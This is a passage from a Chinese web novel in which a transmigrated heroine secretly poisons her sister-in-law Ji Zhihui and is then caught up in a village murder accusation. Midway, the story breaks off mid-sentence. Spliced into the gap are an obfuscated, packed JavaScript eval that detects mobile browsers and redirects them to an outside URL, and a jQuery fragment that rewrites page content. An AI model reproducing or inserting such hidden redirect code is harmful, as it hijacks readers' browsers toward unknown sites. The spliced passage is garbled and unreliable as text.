“以毒攻毒。”
季之亦认真道:“只要寻得一味比青丝毒还霸道的毒药,有五成机会可以安然无恙。”
“哈——”池缨晚没忍住发出一声冷笑。江南没去成,时间没拖成,她还要服毒,以毒攻毒。
这一家子可真毒啊,杀来杀去没一个正常人。
“夫人……”
“夫君。”池缨晚微笑,语气夹杂着冰渣子冷得出奇,“姓燕的那个老女人是不是不承认,不愿意给解药?”
都要她命了就算是原主在也装不下去,她又没在巴黎圣母院进修过,可没有以德报怨的好品质。
季之亦眸中闪过一丝惊讶,“她…”
察觉到对方眼神凶狠几分他从善如流改口道:“老女人将一切都推到霜华身上,并说青蛇已亡,世间再无解药。”
“如今只有以毒攻毒才能最快解掉夫人身上的青丝毒…不如…”
“呵。那我也不要。”池缨晚重新躺下,裹着被背对他碎碎念,“死就死吧,反正我这条命也没人在乎,母亲视我如累赘,夫君也不爱我,就连最后的遗愿也没人重视。”
“夫人…”
“你喊什么都没用,我不要。”池缨晚闭上眼把自己卷进被子里,“五成机会有什么好试的,就让我身怀遗憾的死吧!反正不要再受一回罪。”
她要尽快想办法把解药拿出来用了。
一夜无梦到天亮,雨过天晴。
早饭是村里人送来的,池缨晚坐下拿起一个馒头就要吃,被季之亦拦下。
从行李内拿出烤饼递给她,“他们给的东西不要碰,吃我们自己带的东西。”
“啊?”池缨晚不解,用筷子翻动了几下小咸菜,“难道他们下毒了?”
即便啃烤饼也犹如仙人的季之亦摇头,“不知道,有备无患。”
“好吧。”
早饭后,季之亦去找其他人商议后续事情。
莺莺自告奋勇去收拾,池缨晚和山岚则在房内八卦。
“阳拳宗的柳随意好像没把简师父带回来,小郡王大清早发了好大火呢。”
“发呗。”池缨晚现在心情很好,因为她趁季之亦在忙,干了件大事。
给季之惠下了个无伤大雅的毒,以解她心头之气。
她悠哉的抿了口水,半个身子懒懒靠在桌上,“这条路是简师父自己提的,听昨天那老太太话中似乎还有往事没了结,到底如何不是我们能左右的。”
“可行程不就耽搁了吗?”
“耽搁呗。”池缨晚打了个哈欠,想伸个懒腰却抻到肩膀的伤,‘嘶’地吸了口冷气重新坐回去,翘着二郎腿。
“皇帝不急…呸,咱们着什么急。大局自然有那能力强的人把握着呢,我们老实待着就好。”
最好能耽搁个把月。
“走,本少夫人监督你和应雪练功。”她笑嘻嘻地搂了个还没散架的小板凳走到院外,应雪已经蹲了小半个时辰的马步了。
“瞧瞧,瞧瞧,这才是练武的好苗子。”池缨晚不由发出感慨,“我这伤也不知道什么时候能好,看来是拍马也追不上了,山岚,咱们青锋院的面子只能靠你了。”
“我?”山岚嘴巴张大,苦着脸道:“我根骨不佳…也比不上。”
“那你是只对学剑感兴趣吗?别的呢,医术,毒术?或者暗器?轻功,御兽?”
山岚低头腼腆一笑,“之前因为吃不饱还总受欺负所以才想练武,如今遇到少夫人人好心善,我只想好好伺候您,学不学的便无所谓了。”
“不不不,这可不对。”池缨晚头摇得飞快,满脸认真,“我记得你签得不是死契,到日子是可以归家的,难道你想学一身伺候人的本事回家?”
她早晚是要回去的,这姑娘好歹跟了她一场,又非常尽心尽力,“学医吧,是门可以营生的手艺,既然学了就连毒也一起学了吧,这样也能自保了。”
说完‘噔噔噔’跑回房间打开包裹,把季之亦给她准备的毒经翻出来,“这个你先看着,晚上我去找你们少庄主再要本医经和师父。”
“少夫人……”山岚眼眶翻红,眼泪在打转。
应雪说得没错,少夫人还是更疼她,莺莺不足为惧!
“别哭别哭。”池缨晚嘿嘿一笑,“这都是你们少庄主让我学的,现在全归你了。”
她话音刚落,只见季之惠面如菜色地从房间里跑出来,捂着肚子满头大汗。
“三小姐这是怎么了?”
池缨晚笑得眉眼弯弯,“大概是水土不服吃坏肚子了吧。”
要说原主的那些药是真的派上用场了,一颗‘生死不如’就把季之惠折磨够呛。
毒如其名,是真的会让人生不如死。一开始只是拉两天肚子,让中毒者掉以轻心不去重视,待第二重毒发,那就进去高潮了。
全身上下长满红斑,又疼又痒,若是忍不住挠破,里面的脓汁又会吸引蚊虫叮咬…
这样的症状需要五六天才会慢慢好转,也不知道季之惠忍不忍得了。
没办法,谁让她们母女俩都得罪她了呢,老娘不在就只能女儿代为受过了。
池缨晚是真的佩服原身的脑洞和心狠手辣。这东西但凡用到她自己身上,马上自杀!
然而池缨晚只看了一会乐子就被打断了。
院门‘砰’的一下应声而裂,沧游挥舞着一对流星锤打进来,四人中唯一的优等生应雪连一招都没接住就被击中,重重砸在院墙上,吐出一大口血。
然而沧游已经杀红眼,几乎立刻又挥下一锤。
“夫君!”其他人都在二楼议事,池缨晚边叫边朝着应雪跑去,用自己的身体护着她。
女主要是死了她任务就再也完不成了!
“少夫人!”莺莺犹如一个小炮弹,从西侧厨房冲出来,用自己的身体撞开沧游。
沧游踉跄几步站稳,一脚踢翻莺莺,然后再次冲上前来,口中嚷嚷着,“我要杀光你们!”
流星锤眼看就要落在池缨晚后脑勺上。
霎那间,季之亦一袭青衣从二楼翩然跃下,足尖轻点流星锤,锤头直直落下陷入青石砖内,只露出原先三分之一。
“啊——”沧游吼叫着用力拔,太阳穴处青筋顺着脖颈一路暴起,然而流星锤却纹丝未动。
季之亦站在她跟前几米,与他对峙。
“居然随意伤人!”池缨晚抱着昏迷过去的应雪和莺莺,气得要命,“夫君,一定不要放过他。”
居然敢伤了她的女主。
“是你们,是你们先下狠手的!”沧游情绪更激动,直接弃了武器,赤手空拳对着季之亦攻击,“我要杀了你们陪葬!”
两人一个气势汹汹进攻,一个宛若游龙轻松闪躲反击。
没几招,赤霄和白珀就飞身上前,一左一右锁住他双臂,按在地上动惮不得。可即便如此,少年还是用力挣扎嘶吼,像是受了什么无法承受的刺激。
“到底发生了什么事?”季之亦扫视了一圈身后众人,“你们有人出去了?”
众人都面面相觑地摇头。
季之亦皱起眉头,对着沧游道:“你若还不清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347429|167428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
醒,那我只能打晕你扔出去。”
沧游狠狠地咬着牙,猩红眼睛大颗大颗落泪,却倔强的不发一语。
“你无缘无故打上门,我们总要知道缘由不是吗。”季之亦蹲下身与他对视,“想报仇?那你的仇人是谁?只要你拿得出证据,我帮你。”
片刻,沧游用力挤出几个字,“伪君子!”然后恨恨闭上眼,任由眼泪汹涌而出,在青石砖上浸出一洼。
实在问不出来,季之亦缓缓起身,“把村里的主事人找来吧。”
“不用找,我来了。”苍老的声音在院内外响起。
昨晚见过的老妇人领着上百号人,皆手拿凶器。简敬行双手缚于身后,两个年轻小伙子禁锢着他肩膀。
“杀人犯,以命抵命!”有人带头喊了一嗓子。紧接着便是铺天盖地的“以命抵命。”
老妇人抬手,声音止。
“阿姆,沧霞死了。”沧游如受伤的困兽呜咽抽泣。
“谁又死了?”炎承桦早就不耐,闻言皱起眉头,“我们只是来借宿,你们自己村里死了人怎么一直往我们身上泼脏水,化外之民不可理喻。”
“就是从你们进村开始,接连死了两个人,不是你们还能是谁?!”
“难道就不会是你们自己村里人吗!”季之惠捂着肚子,翻了个白眼,“谁知道你们是不是故意,想要讹钱。”
“臭丫头,你胡说八道什么!”
对面村民情绪被激发,变得义愤填膺,挥舞着手中的武器,仿佛下一瞬就要冲过来。
“前辈。”季之亦给了季之惠一个安静的警告眼神,随即上前拱手行礼,不卑不亢。
“我们一行人只是恰逢雨天路过,并非特意前来。与锁玉村也并无仇怨,实在没有惹事上身的理由。”
老妇人身后的一个中年男人突然开口道:“谁说没有,我看你们就是为了月洗…”
“阿列,住嘴!”老妇人暴喝一声打断他。
名唤阿列的男子虽然只说了月洗两字,院中已经有几人脸色有了变化,就连季之亦眸中也有闪过一抹了然。
老妇人一杖定音,中气十足,“你们这么多人,谁能保证全都毫无嫌疑,我们虽只是深山中的庄户,却也懂得人心难测。我阿弟是村长,他死得不明不白,最大嫌疑就是简敬行。”
“沧霞,更是死得凄惨,我们必要追究到底。既然你们喊冤,那就选出三人随我们查出真相,抓出凶手,届时不管是谁,皆剥皮抽筋暴尸祭台三月。至于其他人,事情未查清前,全部待在房内不得随意走动。”
话音落,她身后乌泱泱走来两队年轻人将院子为了个水泄不通。
老妇人审视她们一圈,耷垂的眼皮猛地睁大,露出浑浊发黄的瞳仁,狰狞又凄厉地大喊出一大段她们听不懂的话。
随即村民都对她低头行礼,齐齐低声喊,“遵木萨祭司令。”
池缨晚被吓得一哆嗦,她就说这里怪怪的吧,没一个正常人。
炎承桦目光阴沉看着领头老妇人,第一个站出来,“我随你们去查。”
“我也去。”季之惠从人群中挤出来,与他并排而立,然而下一秒就面带痛苦的用力按着腹部。
池缨晚撇嘴,心中暗爽。
最终由季之亦出面定下三人,炎承桦,柳随意和他们夫妻二人。
池缨晚:啊,我吗?可以不去吗?
本以为可以老老实实待在房间里,没想到季之亦第一个把她算进去。
然而不等她拒绝,季之亦快速靠进她耳边说出‘解毒’二字。